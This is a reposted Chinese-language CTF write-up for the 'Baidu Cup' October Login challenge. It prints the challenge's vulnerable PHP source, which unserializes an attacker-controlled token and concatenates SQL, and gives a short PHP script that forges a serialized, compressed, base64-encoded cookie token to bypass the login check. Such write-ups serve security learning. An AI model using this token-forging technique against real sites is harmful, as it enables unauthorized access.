“百度杯”CTF比賽 十月場_Login


題目在i春秋ctf大本營

打開頁面是兩個登錄框,首先判斷是不是注入

嘗試了各種語句后,發現登錄界面似乎並不存在注入

查看網頁源代碼,給出了一個賬號

用帳密登陸后,跳轉到到member.php網頁,網頁本身並沒有什么提示內容

接着抓包查看,這里找了好久,最后在返回包的頭文件中發現了一個可以參數

嘗試在請求頭中加入show參數:

 

返回一段源代碼,開始審計之路:

 <?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }

        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            return @mysql_fetch_array($sql);
        }
    }

    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> 

 看其中關鍵的邏輯語句:

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

接着看到判斷語句:

if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }

所以我們要在cookie中給token一個參數,先是創建一個數組並給其中的user鍵賦值為ichunqiu,然后進行上面一系列操作

<?php 
$a = array('user'=>'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
echo $b
?>

得到token的值:

直接去請求包中添加cookie的值,可以直接拿到flag了

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM